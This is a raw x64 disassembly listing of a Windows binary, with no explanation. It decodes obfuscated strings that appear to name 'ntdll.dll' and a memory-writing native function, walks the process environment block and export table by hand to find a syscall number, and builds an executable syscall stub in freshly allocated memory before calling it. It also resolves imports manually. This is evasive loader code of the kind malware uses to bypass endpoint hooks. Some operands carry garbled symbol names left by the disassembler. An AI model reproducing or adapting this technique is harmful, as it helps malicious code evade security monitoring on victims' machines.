mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x682], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x683], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x684], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x685], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x686], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x687], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x688], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x689], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x68a], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x68b], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x68c], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x68d], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x68e], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x68f], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x690], al
mov r9, rsi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x691], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x692], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x693], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x694], al
xor eax, eax
mov byte [rbp + 0x695], al
mov edi, eax
lea r12d, [rax + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x681]
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + rdi + 0x681], al
add rdi, r12
cmp rdi, rsi
jb 0x14001fa71
xor edi, edi
lea r12d, [rdi + 0x10]
mov byte [rbp + 0x695], dil
mov byte [rbp + 0x1e0], 0x75
lea r14d, [rdi + 9]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1e0]
call fcn.14002e000
mov byte [rbp + 0x1e1], al
mov r9d, r14d
lea r14d, [rdi + 1]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1e0]
call fcn.14002e000
mov byte [rbp + 0x1e2], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1e0]
call fcn.14002e000
mov byte [rbp + 0x1e3], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1e0]
call fcn.14002e000
mov byte [rbp + 0x1e4], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1e0]
call fcn.14002e000
mov byte [rbp + 0x1e5], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1e0]
call fcn.14002e000
mov byte [rbp + 0x1e6], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1e0]
call fcn.14002e000
mov byte [rbp + 0x1e7], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1e0]
call fcn.14002e000
mov byte [rbp + 0x1e8], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1e0]
call fcn.14002e000
mov byte [rbp + 0x1e9], al
xor eax, eax
mov byte [rbp + 0x1ea], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e1]
lea rcx, [rbp + 0x1e0]
call fcn.14002e000
mov byte [rbp + rdi + 0x1e1], al
add rdi, r14
cmp rdi, 9
jb 0x14001fbb5
xor r9d, r9d
mov byte [rbp + 0x1ea], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14001fd09
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x70], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x78], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x68], ecx
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x78]
test r8d, r8d
jle 0x14001fc85
lea ebx, [rax + 1]
mov r10d, ebx
mov r12, qword [rsp + 0x60]
mov ecx, r10d
cmp word [r12 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r12 + rdx*2]
mov byte [r9 + rdx], al
add r10d, ebx
add rdx, rbx
cmp rdx, r8
jl 0x14001fc57
mov ebx, reloc.WS2_32.dll_recvfrom
lea r12d, [rbx - 1]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x14001fce1
mov rax, rcx
lea r9, [rbp + 0x1e1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14001fcda
add rax, r11
test edx, edx
jne 0x14001fcc5
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
xor r9d, r9d
test dil, dil
jne 0x140020238
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
mov qword [rsp + 0x70], rax
cmp rax, qword [rbp - 0x78]
jne 0x14001fc0e
mov dword [rbp - 0x60], r9d
mov byte [rbp + 0x668], WSASetLastError
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x669], al
mov r9, rsi
mov r14d, 1
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x66a], al
mov r9, rsi
lea r8d, [r14 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x66b], al
mov r9, rsi
lea r8d, [r14 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x66c], al
mov r9, rsi
lea r8d, [r14 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x66d], al
mov r9, rsi
lea r8d, [r14 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x66e], al
mov r9, rsi
lea r8d, [r14 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x66f], al
mov r9, rsi
lea r8d, [r14 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x670], al
mov r9, rsi
lea r8d, [r14 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x671], al
mov r9, rsi
lea r8d, [r14 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x672], al
mov r9, rsi
lea r8d, [r14 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x673], al
mov r9, rsi
lea r8d, [r14 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x674], al
mov r9, rsi
lea r8d, [r14 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x675], al
mov r9, rsi
lea r8d, [r14 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x676], al
mov r9, rsi
lea r8d, [r14 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x677], al
mov r9, rsi
lea r8d, [r14 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x678], al
mov r9, rsi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x679], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x67a], al
mov r9, rsi
lea r8d, [r14 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x67b], al
mov r9, rsi
lea r8d, [r14 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + 0x67c], al
xor eax, eax
mov byte [rbp + 0x67d], al
mov edi, eax
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x669]
lea rcx, [rbp + 0x668]
call fcn.14002e778
mov byte [rbp + rdi + 0x669], al
add rdi, r14
cmp rdi, rsi
jb 0x14001ff3c
xor edi, edi
lea r14d, [rdi + 0x20]
mov byte [rbp + 0x67d], dil
mov byte [rbp + 0x130], 0x47
lea esi, [rdi + 9]
mov r9d, esi
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x130]
call fcn.14002e000
mov byte [rbp + 0x131], al
mov r9d, esi
lea esi, [rdi + 1]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x130]
call fcn.14002e000
mov byte [rbp + 0x132], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x130]
call fcn.14002e000
mov byte [rbp + 0x133], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x130]
call fcn.14002e000
mov byte [rbp + 0x134], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x130]
call fcn.14002e000
mov byte [rbp + 0x135], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x130]
call fcn.14002e000
mov byte [rbp + 0x136], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x130]
call fcn.14002e000
mov byte [rbp + 0x137], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x130]
call fcn.14002e000
mov byte [rbp + 0x138], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x130]
call fcn.14002e000
mov byte [rbp + 0x139], al
xor eax, eax
mov byte [rbp + 0x13a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x131]
lea rcx, [rbp + 0x130]
call fcn.14002e000
mov byte [rbp + rdi + 0x131], al
add rdi, rsi
cmp rdi, 9
jb 0x14002007e
mov esi, reloc.WS2_32.dll_sendto
xor edi, edi
mov byte [rbp + 0x13a], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x1400201d1
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x70], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x68], edi
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x78]
test r8d, r8d
jle 0x14002014e
lea ebx, [rax + 1]
mov r10d, ebx
mov r12, qword [rsp + 0x60]
mov ecx, r10d
cmp word [r12 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r12 + rdx*2]
mov byte [r9 + rdx], al
add r10d, ebx
add rdx, rbx
cmp rdx, r8
jl 0x140020120
mov ebx, reloc.WS2_32.dll_recvfrom
lea r12d, [rbx - 1]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x1400201aa
mov rax, rcx
lea r9, [rbp + 0x131]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400201a3
add rax, r11
test edx, edx
jne 0x14002018e
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
test dil, dil
jne 0x14002048e
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
mov qword [rsp + 0x70], rax
xor edi, edi
cmp rax, qword [rbp - 0x78]
jne 0x1400200db
mov eax, edi
cmp dword [rbp - 0x60], edi
jl 0x140025a76
test eax, eax
js 0x140025a76
mov r8, qword [rbp + 0xc20]
cmp qword [r8], rdi
jge 0x1400206e4
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x140022b5c
mov rax, qword [rbp + 0xc20]
movzx edx, word [rax]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0xf40]
sub rcx, rdi
add rax, rcx
mov rcx, qword [rbp + 0xc20]
mov qword [rcx], rax
jmp 0x140022b5c
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14001fd09
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001fd09
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001fd09
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001fd09
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14001fd09
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x681]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400202ca
inc rax
test edi, edi
jne 0x1400202b5
xor r9d, r9d
test r8d, r8d
je 0x1400202e0
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x1400202a4
jmp 0x14001fd09
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001fd09
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov ecx, 1
cmp eax, ecx
jl 0x14001fd09
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
call fcn.14008ce90
or dword [rbp + 0x197e4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x18460]
call fcn.14002ef44
lea rcx, [rbp + 0x18460]
call fcn.14002e95c
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x18460]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rdi*8 + 0x32540], rax
add rdi, r14
cmp rdi, 0x200
jl 0x140020387
mov r14d, reloc.WLDAP32.dll_Ordinal_32
mov rdi, qword [rsp + 0x70]
mov r8d, 0x1000
lea rdx, [rbp + 0x32540]
mov rcx, rdi
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xec0], eax
lea r9, [rbp + 0xec0]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 0x1000
lea r8, [rbp + 0x28540]
mov rdx, qword [rbp + 0xc18]
mov rcx, qword [rbp - 0x40]
call rdi
mov dword [rbp - 0x60], eax
lea r9, [rbp + 0xec0]
mov r8d, dword [rbp + 0xec0]
mov edx, 0x1000
mov rdi, qword [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400b4da0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400dd364], eax
jmp 0x14001fd0d
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x1400201d1
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400201d1
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400201d1
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400201d1
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x1400201d1
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x669]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140020521
inc rax
test edi, edi
jne 0x14002050c
xor edi, edi
test r8d, r8d
je 0x140020536
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x1400204fb
jmp 0x1400201d1
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400201d1
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov ecx, 1
cmp eax, ecx
jl 0x1400201d1
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
call fcn.14008ce90
or dword [rbp + 0x1ab74], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x197f0]
call fcn.14002ef44
lea rcx, [rbp + 0x197f0]
call fcn.14002e95c
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x197f0]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rdi*8 + 0x33540], rax
add rdi, r14
cmp rdi, 0x200
jl 0x1400205db
mov r14d, reloc.WLDAP32.dll_Ordinal_32
mov rdi, qword [rsp + 0x70]
mov r8d, 0x1000
lea rdx, [rbp + 0x33540]
mov rcx, rdi
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xebc], eax
lea r9, [rbp + 0xebc]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 0x1000
lea r8, [rbp + 0x28540]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x40]
call rdi
mov dword [rsp + 0x78], eax
lea r9, [rbp + 0xebc]
mov r8d, dword [rbp + 0xebc]
mov edx, 0x1000
mov rdi, qword [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400b4da0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov dword [0x1400dd364], edi
mov eax, dword [rsp + 0x78]
jmp 0x1400201d3
mov rcx, qword [rbp - 0x58]
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea rdi, [rdx + rcx*8]
jmp 0x14002071b
mov ecx, dword [rdx + 0xc]
cmp qword [r8], rcx
jb 0x140020717
mov eax, dword [rdx + 8]
add eax, ecx
cmp qword [r8], rax
jb 0x1400215d1
add rdx, 0x28
cmp rdx, rdi
jb 0x140020701
xor eax, eax
mov edx, eax
add rdx, 2
lea rcx, [rbp + 0xff0]
call fcn.14002ed88
mov rax, qword [rbp + 0xc18]
mov qword [rbp + 0x282b6], rax
mov rax, qword [rbp + 0xf40]
mov qword [rbp + 0x282c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x282ca], rax
mov rax, qword [rbp - 0x80]
mov qword [rbp + 0x282d6], rax
mov rax, qword [rbp + 0x1000]
mov qword [rbp - 0x38], rax
lea rcx, [rbp + 0xff0]
call fcn.14002eae4
mov qword [rbp - 0x60], rax
mov byte [rbp + 0x650], 0x75
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x651], al
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x652], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x653], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x654], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x655], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x656], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x657], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x658], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x659], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x65a], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x65b], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x65c], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x65d], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x65e], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x65f], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x660], al
mov r9, rsi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x661], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x662], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x663], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + 0x664], al
xor eax, eax
mov byte [rbp + 0x665], al
mov edi, eax
lea ebx, [rax + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x651]
lea rcx, [rbp + 0x650]
call fcn.14002e778
mov byte [rbp + rdi + 0x651], al
add rdi, rbx
cmp rdi, rsi
jb 0x1400209d3
mov ebx, reloc.WS2_32.dll_recvfrom
xor edi, edi
mov byte [rbp + 0x665], dil
mov byte [rbp + 0xa0], 7
lea r14d, [rbx - 8]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa0]
call fcn.14002e000
mov byte [rbp + 0xa1], al
mov r9d, r14d
lea r14d, [rbx - 0x10]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa0]
call fcn.14002e000
mov byte [rbp + 0xa2], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0xa0]
call fcn.14002e000
mov byte [rbp + 0xa3], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xe]
mov dl, 0x6c
lea rcx, [rbp + 0xa0]
call fcn.14002e000
mov byte [rbp + 0xa4], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0xa0]
call fcn.14002e000
mov byte [rbp + 0xa5], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xa0]
call fcn.14002e000
mov byte [rbp + 0xa6], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0xa0]
call fcn.14002e000
mov byte [rbp + 0xa7], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0xa0]
call fcn.14002e000
mov byte [rbp + 0xa8], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 9]
mov dl, 0x6c
lea rcx, [rbp + 0xa0]
call fcn.14002e000
mov byte [rbp + 0xa9], al
xor eax, eax
mov byte [rbp + 0xaa], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xa1]
lea rcx, [rbp + 0xa0]
call fcn.14002e000
mov byte [rbp + rdi + 0xa1], al
add rdi, r14
cmp rdi, 9
jb 0x140020b18
mov r14d, reloc.WLDAP32.dll_Ordinal_32
xor r9d, r9d
mov byte [rbp + 0xaa], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140020c74
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
